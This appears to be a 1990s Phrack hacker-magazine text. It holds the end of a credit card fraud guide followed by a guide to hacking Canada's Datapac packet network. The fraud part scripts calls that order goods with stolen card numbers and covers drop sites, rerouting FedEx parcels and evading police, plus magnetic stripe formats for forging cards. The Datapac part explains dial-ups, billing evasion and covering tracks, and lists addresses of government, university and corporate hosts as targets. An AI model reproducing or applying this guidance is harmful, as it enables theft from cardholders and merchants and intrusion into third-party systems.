Ok, before we go any further, make sure you have a call back number. I use a VMB that is in the local area that I'm supposedly calling from. You should almost always be calling for a business, because companies treat businesses better than your standard customer. Tell them you need to have the products the VERY next day, and if they can't have it to you by then, tell them you'll find another company (Hell, who wants to wait? :) ) When you call them, just relax, and pretend like your just placing an order for yourself, nothing is out of the ordinary, but you just need to start that special project in the morning. Make sure you have all the information in front of you. Call during business hours, not on Friday, Saturday, or Sunday. Here's a transcript of one of my calls:

"Hello XXX, this is Mark can I help you?" (always get their name)

"Yes, My name is Joe and I'm calling from XXX, I'd like to place an order."

"Ok sir, I'd more than happy to help you, let me get some info from you first. Ok. Can I have your name?"

"Joseph XXX"

"Your address, Joe?"

"XXXX XXXX lane, and thats in XXXXXXX XX, the zip there is XXXXX"

"Ok, and a number where we can reach you if there is any problems?"

"XXX‑XXX‑XXXX"

"Ok, what would you like to order?"

"I need four of those laser jet printers, I believe I spoke with someone on Friday about them, and the part number is XXXXX‑XX. Also, I had a question on those printers too, what type of warranty do they carry?" (Always ask about warranty!)

"Well sir, these particular models have one year parts and labor warranty. You can buy an additional 5 year warranty for only $49 a piece too. We have an unconditional guarantee of 90 days."

"Ok, I'll take the 5 year warranty on all of them then."

"Do you need any toner cartridges, or printer paper?"

"No, all I need are the printers."

"Ok, how would you like these shipped?"

"You have Federal Express, right?"

"Yeah."

"Ok, Ship them PRIORITY overnight then."

"Ok, and how are you paying for your order?"

"With our corporate XXXXXX card."

"Ok, can I have your account number?"

"Sure its XXXX‑XXXX‑XXXX‑XXXX"

"Ok, and the Billing information is the same as your ship to address ?"

"Thats right."

"Ok, then this package will go out today, and you'll have the printers by tomorrow morning."

"Ok, and can you do me a favor?"

"Sure."

"Whenever your shipping department ships the package, get the Federal Express Tracking Number for me, and leave it on my Voice Mail System?"

"Sure, I'll do that personally later on tonight."

"Ok. Thank you very much."

"Thank YOU sir."

Ok ‑ a few things I want to mention. First, try to determine what type of credit card authorization they have. If its retail store, they probably just have ZION terminals, just the standard type or swipe style. These don't check the address, or anything, just to make sure the card is valid and has enough credit left. The other type check all the info, including the name and address. Its very important that you are SHIPPING to the BILLING address, because if you change the ship to, they may have a tendency to get a tad suspicious. Also, the reason you could use that you need the Fedex Tracking Number is for your Mail room. Use your imagination, but keep your story the same, don't adlib too much, cause you may fuck up, but stick to the above format, it works very well. Always try to be as pleasant as possible, because in the event you couldn't check the credit limit, you may have to give them another card.

Stage 5 ‑ Finding a drop site

This is one of the harder things to do. If the billing address of the card is local to you, you may just want to go their house to pick up the package. If not, find an apartment building close (but not too close) to where you live. Or find a house that has a for sale sign in the front yard. Or if you know some school buddy of yours that is away for vacation use his house (In that event, make SURE he has NO idea your doing this) Whatever the case may be, just find a place that is relatively secluded from the street, where there are places for you to park inconspicuously. Apartment buildings work EXTREMELY well.

Stage 6 ‑ Rerouting the package

This is a little trick one of my good friends showed me. It works extremely well. Call up Federal Express with your airbill number. The number is 800‑238‑5355. Tell them that you are not going to be in town that day to sign for your package that you will be at another location, and ask them if they could please send the package to a new address. They may say that it will take an additional day to do that, depending on how far away it is. INSIST that it arrives the next day, tell them its extremely important, and don't take any shit from them, ask for their supervisor if they gave you any problems. Their commitment is overnight. By the way, call Federal Express AS SOON AS you know they physically have the package, this way you give them as much time as they need to reroute. Obviously your sending the package to your drop site that you found.

Stage 7 ‑ Picking up the package

This is by far the most DANGEROUS part of it. If you are going to get caught, this is where its going to happen. DON'T have a school buddy pick it up for you. Instant doom. DON'T pay someone to do it for you, lord knows they will sell you out in a second. Not to mention, you're probably brighter than the average eggplant, so you may be able to talk your way out. "A guy on the street paid me this $20 bill to do it, I said what the fuck" PLEASE USE EXTREME CAUTION WHEN DOING THIS.

OK. Call Federal Express, and make sure the package will be arriving that day, and that everything is on schedule. Ask them what the route number is, an estimate of when it will be there, and their commitment time for that particular zip code. Then, go there earlier than you need to be, and check out the place, look around for anyone who seems abnormal, look for escape routes, exits. Look around, get a feel for where you are, and try to ration out why you might just be standing there or why you would have needed to pick up the package. Remember, if you used all the precautions I've talked about, you should be in perfect shape. Just relax, be cool, and everything will work out.

Walk around for a little bit, and find out the possible directions the Federal Express Van will be coming from. Walk in front of the house just when he arrives. Pretend as though your just on your way home or just on your way out the door. Sign for it, and you're done.

Ok, you say, I'm the nervous type, and I don't want the guy giving my description to the police, FBI, etc. (As though they will remember 1 out of the hundreds of deliveries a day) Call up Federal Express and ask for a signature release. This gives Fedex the right to leave the package at your front door, and this removes their responsibility. OR, leave a note with your signature (not printed) on the door, mailbox, etc. Remember though that the guy may come home (or look out his window) and see the package, or you signing it.

Remember there is nothing saying that you have to be there when the package arrives. You can get a signature release or leave a note. Make sure you are there as soon as possible AFTER they leave the package. I actually prefer to be there, because when I just let it go, and check back later, it is almost NEVER there. Either a> someone stole it b> a neighbor picked it up and put it in their house for them c> the owner is actually home and got the package (which is REALLY bogus, cause it's on their card!)

I have ALWAYS used an apartment building. I have ALWAYS been there to pick the package up. I have never been busted. See, if you understand how the system works, you know that there is NO way that anyone knows that it is an illegal purchase. If you look at it on a time line :

<‑‑‑‑2:00pm‑‑‑‑‑‑‑2:05pm‑‑‑‑‑‑8:00pm‑‑‑‑‑10am‑‑‑> verify call reroute pickup

Now, if there is a problem, it will probably be either a> not enough credit left on the card (which is nothing, they will leave a message on your vmb) b> they called directory assistance and actually called that number or c> VISA/MC/AMEX/DISC called the customer to verify the purchase because it was larger than usual.

So obviously, if they got in touch with the card holder, or visa/etc called the card holder, they AREN'T going to ship the package ‑ meaning you aren't going to show up anyways. Of course you never use a drop site more than once, you never use a company more than once, and you never use a card more than once.

Once you get your package, KEEP YOUR MOUTH SHUT. Don't jump on IRC, and say, "Hey Cameron, I just carded a new Amiga 4000." And if you do eventually tell someone that you carded it, NEVER USE ANY SPECIFICS, no information about the company, the drop house, the name on the card, NOTHING. If you follow these instructions, you can guarantee you will have absolutely no problems, I have been doing this for quite some time, and have NEVER been bothered by any law enforcement concerning this. I have never found anyone who was careful that got busted. The people who have gotten busted for carding have either bragged about it, or let someone know before hand, or have been set up.

I have tried to cover all bases, but I'm positive I've missed a few so if anyone has questions, let me know. I am always open to helping people and can be found on the IRC, in either #hack or one of the better #hack alternatives.

In addition to carding by phone, there is another possibility, that is writing credit cards with a magnetic stripe writer. A certain group did this for EIGHT years, before getting caught. This is worth a whole article to itself, but I'll just go over some guidelines.

Track I is 210 bpi. Track II is 75 bpi.

The next chart shows the Magnetic Stripe Data Format (Track I)

Field # Length Name of Field

‑‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑

1 1 Start Sentinel (STX)

2 1 Format Code

3 13/16 Primary Account Number

4 1 Separator (^) HEX 5E

5 2‑26 Card Holder Name

6 1 Separator (^) HEX 5E

7 4 Card Expiration in format MMYY

8 3 Service Code (?) 000 WORKS.

9 0/5 Pin Verification Field

10 Discretionary Data Depends on 3, 5, 9

11 11 Visa Reserved Always last 11 positions

12 1 End Sentinel (ETX)

13 1 LRC

Maximum Record Length is 79 Characters

The next chart shows the Magnetic Stripe Data Format (Track II)

Field # Length Name of Field

‑‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑

1 1 Start Sentinel (STX)

2 13/16 Primary Account Number

3 1 Separator (=) HEX 3D

4 4 Card Expiration Date in format MMYY

5 3 Service Code (?) 000 works.

6 0/5 Pin Verification Field

7 Discretionary Data Depends on 2, 6

8 1 End Sentinel (ETX)

9 1 LRC

"The LRC is calculated by performing a BITWISE XOR (Exclusive OR) on all ASCII values of the characters in the Inquiry ‑ EXCLUDING the <STX> but INCLUDING the <ETX>."

<STX> is HEX 02.

<ETX> is HEX 03.

By the way, for my last article, "TTY SPOOFING", check Phrack 41 File 8.

***** MANY thanks go out to my friends, of whom I won't mention because of the delicacy of this topic. I appreciate them sharing their knowledge with me, and I feel I'm kind of returning the favor by writing this article. Thanks also go out to the Phrack Staff, both past and present for putting out an excellent magazine, and continuing to distribute information to the computer underground.

***** Happy Hacking and Safe Carding!

Datapac

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 21 of 27

****************************************

****************************

/ DataPac \

/ Synapse 403 \

/

********************************

All of us I am sure have read penultimate files on the workings of Tymnet or in some cases Sprintnet. These are staples in a hacker's diet. In fact any second rate "underground" BBS has complete sections on BT North America and the nets available therein. However one such net you will most likely see very little on, is Datapac.

Datapac was originated in the late seventies by Telecom Canada, a large partnership of Telcos and businesses interested in high speed data transfers between Business & Government systems which would be hassle free and cheaper in the long run. (The birth of most PSN's really.)

The significance of Datapac however is that it has changed very little by way of security in the past ten years, although it has extended access to most of the globe in one fashion or another. Datapac is not only a hacker's utopia due to lax (in some cases non‑existant) security; it is also, for the most part, safe ground (this term is, of course, used somewhat lightly) for beginners and the unsure to try their luck/skill at the game of packet switched network hacking. The Datapac net is most important to Canadian Hackers who have direct access to it, and therefore (if you're lucky) direct access to the world.

A list of dial‑up ports in Canada follows.

CITY (PROVINCE) DIAL NUMBER (SPEED 2400) DIAL NUMBER (SPEED 9600)

=============== ==============

(TOLL FREE‑CANADA) 800‑565‑8805

Abbotsford (BC) 604‑855‑3632

Banff‑Canmore(ALTA) 403‑762‑5603

Barrie (ONT) 705‑721‑2411 705‑726‑0168 Bathurst (NB) 506‑548‑8658 506‑548‑9837

Belleville (ONT) 613‑969‑1161

Brampton (ONT) 416‑796‑3808

Brantford (ONT) 519‑758‑0058

Brockville (ONT) 613‑345‑7550 613‑498‑0676 Calgary (ALTA) 403‑263‑5021 403‑265‑4081 Campbell River (BC) 604‑287‑9166 604‑286‑9800 Chatham (ONT) 519‑351‑8950

Chicoutimi ‑ Jonqui (QUE) 418‑543‑8013 418‑543‑8512

Chilliwack (BC) 604‑792‑5218

Clarkson (ONT) 416‑823‑6010

Cornerbrook (NFLD) 709‑634‑9060 709‑634‑8406

Cornwall (ONT) 613‑936‑9145

Courtenay/Comox (BC) 604‑334‑9846

Dawson Creek (BC) 604‑782‑8549

Drayton Valley 403‑542‑2300

Drummondville (QUE) 819‑478‑1741

Duncan (BC) 604‑746‑8241

Edmonton (ALTA) 403‑421‑1428 403‑429‑2492

Edmundston (NB) 506‑735‑8809

Fort McMurray (ALTA) 403‑790‑2300

Fort St John (BC) 604‑787‑8402

Fredericton (NB) 506‑459‑2792 506‑453‑0754

Granby (QUE) 514‑375‑9666

Grand Centre (ALTA) 403‑594‑2636

Grande Prairie (ALTA) 403‑532‑4533

Guelph (ONT) 519‑763‑3610 519‑763‑1280 Halifax (NS) 902‑453‑9100 902‑453‑2666 Hamilton (ONT) 416‑523‑6948 416‑523‑6855 Kingston (ONT) 613‑546‑0039 613‑546‑5764 Kitchener (ONT) 519‑741‑4000 519‑741‑1499

Lethbridge (ALTA) 403‑320‑6200

Lindsay (ONT) 705‑328‑2941

Lloydminster (ALTA) 403‑875‑8069

London (ONT) 519‑432‑2710 519‑432‑7101

Medicine Hat (ALTA) 403‑528‑3445

Moncton (NB) 506‑856‑5196 506‑383‑7780 Montreal (QUE) 514‑861‑4750 514‑845‑6014

Nanaimo (BC) 604‑741‑1552

Nelson (BC) 604‑352‑9258

New Glasgow (NS) 902‑755‑4594

North Bay (Ont) 705‑495‑4720

Oshawa (ONT) 416‑404‑0596

Ottawa (ONT) 613‑567‑4552 613‑563‑7658

Peace River (ALTA) 403‑624‑1165

Penticton (BC) 604‑490‑0251

Port Alberni (BC) 604‑723‑6178

Port Hardy (BC) 604‑949‑8973

Powell River (BC) 604‑485‑9646

Prince George (BC) 604‑561‑9178 604‑564‑8953

Prince Rupert (BC) 604‑627‑8937

Quebec City (QUE) 418‑647‑2421 418‑648‑2611

Quesnel (BC) 604‑992‑3854

Red Deer (ALTA) 403‑341‑4033

Regina (SASK) 306‑525‑8760 306‑347‑9073 Rimouski (QUE) 418‑725‑3620

Sault St‑Marie (ONT) 705‑942‑7030

Sarnia (ONT) 519‑339‑9144 519‑337‑4727 Saskatoon (SASK) 306‑934‑9100 306‑665‑1046 Sherbrooke (QUE) 819‑564‑6417 819‑829‑1146

Smithers (BC) 604‑847‑9173

St Catherines (ONT) 416‑687‑3340 416‑688‑3433

St. Jerome 514‑565‑6552

St John's (NFLD) 709‑739‑1499 709‑739‑6931 St Johns (NB) 506‑633‑1021 506‑652‑1482

Ste Hyacinthe (QUE) 514‑774‑0720

Sydney (NS) 902‑562‑8224

Terrace (BC) 604‑638‑8596

Toronto (ONT) 416‑979‑1232 416‑979‑1251 Trois Rivieres (QUE) 819‑373‑9983 819‑373‑9070 Truro (NS) 902‑893‑5434

Valleyfield (QUE) 514‑377‑2114

Vancouver (BC) 604‑662‑8747 604‑662‑7865 Victoria (BC) 604‑380‑3874 604‑360‑2673

Whistler (BC) 604‑932‑8927

William Lake (BC) 604‑398‑8632

Windsor (ONT) 519‑973‑1086 519‑973‑4633 Winnipeg (MAN) 204‑947‑6797 204‑453‑6099

Connecting and Addressing

Once connected you will need to type one or three periods and a carriage return, this will produce a numerical format denoting your port address and node,

XXXX XXXX

PORT Address‑‑‑‑‑‑‑‑‑‑‑^ ^

NODE number‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑^

Once this is established the network simply sits and waits for you to spit commands at it, in other words an address to whence you would like to travel. Failing this, idle time will have you disconnected, the time varies but averages around 1 or 2 minutes.

The formatting of a Datapac address is really quite simple and is most often 8 digits long (sometimes ten but we'll get to that later) The first four (the prefix) specify the current location in Canada, for instance large cities will have several, just as they will have more than one prefix in the phone directories. The last four digits are arbitrary, and correspond to the host number.

An address with ten numbers as opposed to eight (ie: xxxx xxxx xx) is utilizing a subaddress. Quite often these machines will be independent of a cluster of nodes and there only to fulfill one task. Also they may simply be segregated machines for no apparent reason at all (except to make scans a bitch :>). Quite often you will find that subsystems work as a PAD or PAC allowing you re‑enter the Dpac from a host level, therefore allowing you to make use of the company's inherent NUI and connect to other places on the Dpac that disallow collect calls.

Connecting to Machines on the Dpac

Datapac, like most networks, uses NUIs (Network User ID) which keep accounting for all billed connections. HOWEVER a great deal of machines on the Dpac allow for collect calls from within the network. Yet if you have a valid NUI you may connect to ANY machine hooked up to the Dpac (except those which are part of a closed user group). I have found that it is best to PAD hop and avoid the whole NUI problem entirely. The following a list of connection messages

and their explanations for inter‑network calls.

MESSAGE EXPLANATION

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

Call connected to: XXXXXXXX A virtual circuit has been established

between an originating DTE and a remote

(receiving) DTE.

Hunted The remote logical channel is part of

a hunt group.

Backed Up The call attempt to the remote DTE has failed.

The network has re‑directed the call to

another predetermined DTE that has been

optioned as backup.

I The call has been placed to an international

address.

P Priority service. Packet size: 128.

N Normal service. Packet size: 128 or 256.

DNA Data Network Address of the originating DTE.

LCN Logical Channel Number of the recipient DTE.

NUI The call will be billed to the 6 to 8

character Network User Identifier.

CUG The recipient DTE is part of a closed user

group.

Reverse Charge The recipient DTE has accepted the charge

associated With the established call.

These reactions apply to any calls made that are not "international" I will list the connect reactions for international calls in the following section.

DATAPAC INTERNATIONAL ACCESS PROCEDURES

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Datapac International provides outgoing and incoming access to 6 U.S. based Networks and to over 100 packet‑switched networks around the world. To successfully complete such calls, Datapac has implemented the International CCITT X.75 procedures and X.121 International numbering plan. Thus, the Datapac user originating an international call must use the following format:

1) (DNIC) (FOREIGN ADDRESS)

One defines the Datapac International.: : :

Prefix. :

Packet networks are identified by a ........: : four digit number called a DNIC : (data network identification code) :

The foreign national address is .......................: expressed as an eight to ten digit

address.

Here is a list of useful DNIC's if you get the urge to scan "other" networks.

Sprintnet 3110

Bell South 3143

Centel 3148

BT Tymnet 3106

Accunet 3134

NYNEX 3144

U.S. West 3147

ADP Autonet 3126

Fedex 3138

Express 3139

If you are scanning (which I assume you might be) you will encounter a great many cryptic messages. So many, in fact, I am sure you will loose count. Some are worth mentioning some are not but here a few you might encounter.

CALL CLEARED ‑‑ A network problem within Datapac TEMPORARY NETWORK or a foreign network prevents either PROBLEM (XXY) the requested call from being established or the established call from being continued. Try again later.

CALL CLEARED ‑‑ Either the foreign network requested is not ADDRESS NOT IN accessible from Datapac, or the foreign SERVICE (XXY) network address specified identifies a non‑existent destination, i.e., the address is not yet assigned or no longer assigned. Verify with destination that the foreign network is accessible from Datapac and that the foreign network address is assigned.

CALL CLEARED ‑‑ The calling terminal is not permitted to ACCESS BARRED establish an international call to the (XXY) called destination address because of a closed user group violation. Verify network address with destination.

CALL CLEARED ‑‑ Either the foreign network or the

COLLECT CALL destination address is not willing to REFUSED (XXY) accept the collect calls. Verify the call establishment procedures with destination.

CALL CLEARED ‑‑ The Call Request is considered invalid INCOMPATIBLE by the foreign network mainly because of CALL OPTIONS the incorrect number of digits in the (XXY) foreign network address. Verify foreign network address with destination.

CALL CLEARED ‑‑ The destination is out of order, possibly DESTINATION NOT because the destination's network access RESPONDING (XXY) link is inoperative. Try again later and verify with destination.

CALL CLEARED ‑‑ The destination address called is fully DESTINATION BUSY engaged (no logical channels available) (XXY) and cannot accept another call at this time. Try again later.

CALL CLEARED ‑‑ This message indicates a protocol error at REMOTE PROCEDURE the remote DTE interface. Check with remote ERROR (XXY) DTE (destination).

Outdials on Dpac

On most Dpac dialups there are also dialouts, however to use them you must either be calling from a Host on the Dpac or have a public access NUI. The latter tends to be more difficult to get than the former. A list of addresses for dialouts is available at 9210 0086 (the Datapac help center), however it is OLD and therefore somewhat inaccurate so I have not included it. Also you will find that a majority of the dialouts are of the low baud rate variety, however there are a few 19.2 dialouts as well.

While dialouts are quite often a pain in the ass to access, all hope is not lost. Many of the machines you encounter on Dpac are LATservers, Gandalfs, System/370s, etc. with dialouts. I have found more

than a few that are COMPLETELY un‑passworded with Global access dialouts.

Beyond all this, Dpac can also be very useful for covering your tracks while attempting to perform digital voyeurism on other networks like Sprintnet, Tymnet, etc. It may mean that you have less leeway but it still makes the target site go through a bit more difficulty in tracking you down.

In closing this, I am leaving a scan through which you can get familiar with Dpac. It is far from complete as a guide to Datapac, but lists many of the systems I have found that accept collect calls.

I will first list prefixes and the areas they represent.

If you are looking a decent Datapac Scanner you can get one at 403‑283‑5519, while this is not a public system, it will allow guest users to log on and transfer a scanner made for Procomm for Windows

Partial Datapac Prefix List

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Calgary (ALTA) 6330 | Clarkson (ONT) 9190 Edmonton (ALTA) 5870 | Halifax (NS) 7610 Hamilton (ONT) 3850 | Kitchener (ONT) 3340 London (ONT) 3560 | Montreal (QUE) 8270 Ottawa (ONT) 8570 | Quebec City (QUE) 4840 Regina (SASK) 7210 | St‑John's (NB) 7460 Saskatoon (SASK) 7110 | St. John (NFLD) 7810 Toronto (ONT) 9160 | Vancouver (BC) 6710 Windsor (ONT) 2950 | Winnipeg (MAN) 6920

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Scan List

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

<] NUA [> <] Service Name [> ($ = Refused Collect Connection)

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

20100071 $ VM/SP

20200115 VAX/VMS

20200116 VAX/VMS

20200156 Diand Information System

20200214 $ UNIX (gtagmhs2)

20200230 METS Dial‑In Server Enter your login name: 2020024098 Control Port on Node Ottawa 6505 PAD

20200286 $ VAX/VMS

2020032099 MPX.25102: PASSWORD

20200321 SunOS Rel 4.1.3 (X25)

20200322 SunOS ""

20200330 INETCO Magicbank

20200342 ::

20200497 VAX/VMS

202005421 $ VAX/VMS

20200548 SunOS Rel 4.1.3 (TMS470)

20200582 $ VAX/VMS Production System

20200586 ULTRIX v4.2 (fcsa)

20200600 $ User Id/Usager:

20200602 $ UNIX (gtagmhs)

20400011 $ VM/SP BNRCEN

20400089 XMUX node: 320QUEEN

20400157 HP3000 IDRC/CDRI/CIID:

20400177 QL * IDENTIFIEZ‑VOUS SVP * PLEASE SIGN ON: 2040017777 GST Questions & Answers by Revenue Canada 20400180 XMUX node: STORE305

20400205 VAX/VMS

20400210 VMS/VAX

20400249 UNIX

20400268 $ VAX/VMS

20400407 $ VAX/VMS

20400459 MHP1201I TERMINAL CONNECTED TO PACKET/74 20400470 ISM/TSO READY TO HOST

20400478 HP3000

20400484 VAX/VMS

20400529 $ XMUX node: SMITHFLD

20400642 CDCNET

20400683 PACX (user interface)

20400712 UNIVERSITY OF OTTAWA

20400860 VAX/VMS

20401313 Network

20401375 DATAPAC: DOT SYSTEM READY

20500011 VM/SP Canada Institute for Scientific & Tech Info 20500036 enter v for vtam (roscoe or tso) d for dobis 20500047 $ #

20600029 SCO domus1 SCO v/386

20600222 Please enter password

20700038 $ VAX/VMS

20700040 Enter profile ID:

20700053 NODE 57206798 (looks like an iNet2000?) 20700122 XMUX node: OTTAWA

20700157 UNIX ""

20700187 $ VAX/VMS Canada Centre for Remote Sensing Satellite Op. 20700194 iNet2000

20700195 iNet2000

20700201 $ HP3000 Supply & Services Canada

20700326 DATAPAC : NBA SYSTEM READY

20700416 Operator Code:

20700439 UNIX (bcm_kernel)

20700471 ISM (7/E/1) ISM Systems Corp/Ottawa Processing 20700538 XMUX node: TMIXMUX0

20700539 XMUX node: TMIXMUX1

20700540 XMUX node: TMIXMUX2

20700541 UNIX

20700561

20700591 Canadian Intl. Development Agency's BBS(CIDA) 20700596 UNIX Zoomit

20700603 VAX/VMS

20700611 $ DIAND INFO SYSTEM. ENTER SERVICE NAME 20700615 SCO OD Statsys1

20700616 $ UNIX gateway!login:

20700617 UNIX Zoomit

20700652 UNIX

20700665 $ NC‑PASS

20700666 $ NC‑PASS

20700718 OBS Online Services (WYLBUR)

20700728 VAX/VMS

20700740 UNIX

20700741 VAX/VMS

20800015 VAX/VMS

20800033 VAX/VMS v5.5‑1

20800043 $ DIAND Info System ‑ INAC. Sioux Lookout. 20800095 TSO

20800187 VAX/VMS FCSA System VAX/VMS 4.2

21200014 CDCNET

21200030 $ PACX

21300047 Please Enter Password

21600001 ::

21700054 VAX/VMS

21700073 ::

22100034 HP3000 Burgess Wholesale Foods MPE/XL ‑Kingston 22100138 INT NET Enter SecurID Passcode:

22100188 VAX/VMS

22400041 XMUX node: BELLEVIL

22600049 SERVICE ID=

22700017 VAX/VMS

23400121 $ UNIX orillia x25

23600035 VAX/VMS Micro VAX 3100 / VMS 5.5

23800176 VAX/VMS v5.5‑1

23800236 XMUX node: OTTAWA

23800343 node 57216d65 (looks like an iNet2000) 23800451 $ VAX/VMS Certification System

23800491 UNIX X.29 Terminal Service

23800505 ONLINE SERVICES(WYLBUR) ENTER USER ID‑

23800507 "" ""

23800594 ENTER FUNCTION:(Fisheries & Oceans Canada) 23800599 XMUX node: MUX8

23800684 VAX/VMS INFOMART ONLINE

23800685 VAX/VMS INFOMART ONLINE

23800700 SCO OD vmabs SCO Open Desktop

24300084 VAX/VMS v5.5

24300149 XMUX node: SAULTE

24400061 SERVICE ID=

24400096 DATAPAC : SUD SYSTEM READY

24400146 HP3000 PROD.MULTICAR.SUDBURY MPE XL 24700021 SERVICE ID=

24900011 VAX/VMS INFOMART ONLINE

24900024 ISM (7/E/1) ISM Systems Corp. Ottawa Proc. Centre 24900040 VAX/VMS

24900057 ISM

24900099 PACX Gandalf Access Server

25200014 TAL TORONTO

25200017 VM/SP

25200054 XMUX node: TORONTO

25200214 ISM GUARDIAN INSURANCE ‑ ENTER SYSTEM 25200258 ::

25700031 >

25700057 VAX/VMS

26100091 VAX/VMS

28300080 VAX/VMS

28300083 XMUX node: XMUX1

28300092 INETCO

28300154 VAX/VMS

28700014 VAX/VMS

28700029 SERVICE ID=

28700030 LEVITT SAFETY / THUNDER BAY

29200013 VAX/VMS

29300045 $ VAX/VMS

29400052 Compuserve

29400172 VAX/VMS

29400176 Enter System Id:

29400254 XMUX node: WINDSOR

29400263 ISM CDNC

29400264 ISM CDNC

29500009 $ Datapac Public OD

29500071 $ ""

29500072 $ ""

29500073 $ ""

29500074 $ ""

29500075 $ ""

29500092 ::

29500137 ::

29500139 PRIMOS 23.3.0 INTENG

29500166 $ Datapac Public OD

29500167 $ ""

29500168 $ ""

29500900 $ ""

29500901 $ ""

29600018 PRIMOS v23 FAXON

29600136 KMUX GANDALF KMUX PWORD>

2960075101 INETCO Polystar E.C.U

30500153 AXA Canada Data Center(PACKET/74)

31500065 SCO OD isgsys1 SCO Open Desktop 2.0 31500076 $ PACX UWO Computing & Communications Services 315000767 XMUX node: CCSMUX1

31500083 XMUX node: LONDON

31500225 SCO OD isg2 SCO Open Desktop 2.0 31500490 XMUX node: LONDON

31500528 XMUX node: SARNIA

31500607 PRIMOS 23.3.0.R20 WPPENG

31500726 UNIX ADC T‑SENTRY

31500787 XMUX node: BUNTINRI

31500838 MHP201A DTPAC06L VER 7.0.3 APPLICATION: 32400014 XMUX node: LONDON

32400016 ISP‑LOGON‑CHRISTIE

32400067 $ VM/SP

32400107 PRIMOS 22.1.2.R38 HUNT

32400122 " ""

32500023 XMUX node: LONDON1

32500053 XMUX node: 074

32500099 XMUX node: WIND

32500149 enter passcode:

32500202 VAX/VMS W.R.C.S.S.B

32500225 VAX/VMS London system A ‑ Boot Node ‑ MicroVMS v4.7 32500239 VAX/VMS

32500274 VAX/VMS

32500345 $ MHP1201I TERMINAL CONNECTED TO PACKET/74 32500367 XMUX node: WINDSOR

32500369 UNIX

32500383 XMUX node: STERLING

325003833 BOSX/DPX (RISC?) Sterling Marking Products Inc. 32500386 5251 Controller emulator ‑ v.191 Password: 32500396 VAX/VMS MicroVMS 5.3‑1

32500406 VAX/VMS MicroVMS 5.3‑1

32500523 SERVICE ID=

32500680 XMUX node: WINDSOR

32500692 XMUX node: WINDSOR

32500713 XMUX node: STTHOMAS

32500850 DATAPAC: WII SYSTEM READY

32600052 Compuserve

32600056 PRIMOS 22.1.2.R3 PBTOOL

32600243 VAX/VMS

33400115 SERVICE ID=

33400223 Adjusters Canada Inc. Please enter X25 Security 33400246 PRIMOS 22.0.3.R37 BLTCAD

33400306 $ Datapac Public OD

33400337 $ ""

33400344 $ ""

33400345 $ ""

33400346 $ ""

33400347 $ ""

33400348 $ ""

33400349 $ ""

33400521 ISM

33400550 ULTRIX

33400589 $ Datapac Public OD

33400590 $ ""

33400591 $ ""

33400609 ISM

33400630 PRIMOS 22.1.3 THOR Engle Canada

33400672 UNIX 192.9.200.1

334006723 MACHINE (XMUX machine)

33400694 Sim3278

33400703 UNIX AT&T SV ‑ WLU

3340070399 MPX.25102: PASSWORD

33400892 ===>

33400900 $ Datapac Public OD

33400901 $ ""

33401149 XMUX node: KITCH

33401414 Datapac Public OD

33401415 ""

33401453 DYNIX SpaeNaur SVR4

33401462 Datapac Public OD

33401475 Chase IoLan Terminal Server

334014751 XMUX node: WATERLOO

33401528 UNIX

33401537 Sim3278

33500021 JMS Online Service. Please enter ID:

33500033 $ ENTER LOGON REQUEST

33500081 JMS Administator line. Enter SYSTEM or SERVICE.

33500099 " "

33500110 XMUX node: WATERLOO

33500136 Wilfrid Laurier University x.25 PAD

33500142 Prudential Assurance / Kitchener

33500196 University of Waterloo online Library 33700015 PICK

33700115 STARMASTER Agriculture Canada Ontario Regional Com. Cent. 33700133 XMUX node: 362

33700216 XMUX node: 767

33700236 VAX/VMS Wellington Country Roman Catholic School Board 33700238 VAX/VMS

33700345 VAX/VMS

33700346 $ HP3000DTC Enter DTC port password:

33700348 DATAPAC : KIT SYSTEM READY

33700349 $ ZAM0001

33700376 $ VAX/VMS Ontario College Application Service 33700393 ::

33700465 ISM NET‑PASS NPA MAGIC

34100013 VAX/VMS

34200139 SERVICE ID=

35100010 $ VAX/VMS

35500179 PICK WELCOME TO HAC INFO NETWORK 35600110 $ Datapac Public OD

35600158 UNIX 3x3

35600273 DEVELNET University/Hospital Network 35600900 $ Datapac Public OD

35600901 $ ""

36200027 MHP201A U0000053 Ver 7.0.5 APPLICATION: 36700021 USER NUMBER ‑‑

36700026 VAX/VMS

36700030 USER NUMBER ‑‑

36700038 $ UNIX

36700059 QINTER

36700115 OCC System

36700126 SERVICE ID=

36700172 SAFEGUARD 2>

36700183 XMUX node: DP01

36700184 XMUX node: DP02

36700185 HP3000

36700369 NETWORK CONTROL

36700372 SAFEGUARD 4>

36700381 Sim3278

36700382 Sim3278

37200020 VAX/VMS

37500014 VAX/VMS

37600014 SERVICE ID=

37600020 HP3000 HP900.HCB.CANADA MPE/XL

37600027 MHP1201I TERMINAL CONNECTED TO PACKET/400 37600029 XMUX node: HAMILTON

37600044 $ ISM SCC INTERACTIVE SERVICES

37600066 MHP1201I TERMINAL CONNECTED TO 4.15 PACKET/74 37600152 XMUX node: HAMILTON

37600166 XMUX node: BUTLER

37600176 XMUX node: DISCOUNT

38300083 VAX/VMS

38500079 $ TANGRAM ARBITER LU1

38500085 HCH Magic

38500122 PACX CCINFO

38500150 $ Datapac Public OD

38500151 $ ""

38500152 $ ""

38500153 $ ""

38500154 $ ""

38500163 $ ""

38500164 $ ""

38500165 $ ""

38500198 $ ""

38500200 $ ""

38500201 $ ""

38500202 $ ""

38500203 $ ""

38500204 $ ""

38500205 $ ""

38500226 XMUX node: (no node name)

38500262 Please enter your operator number

38500329 #

38500356 PACX CCINFO

38500399 SERVICE ID=

38500400 ::

38500431 VAX/VMS

38500586 VAX/VMS MicroVMS v5.3

38500891 VAX/VMS

38500900 $ Datapac Public OD

38500901 $ ""

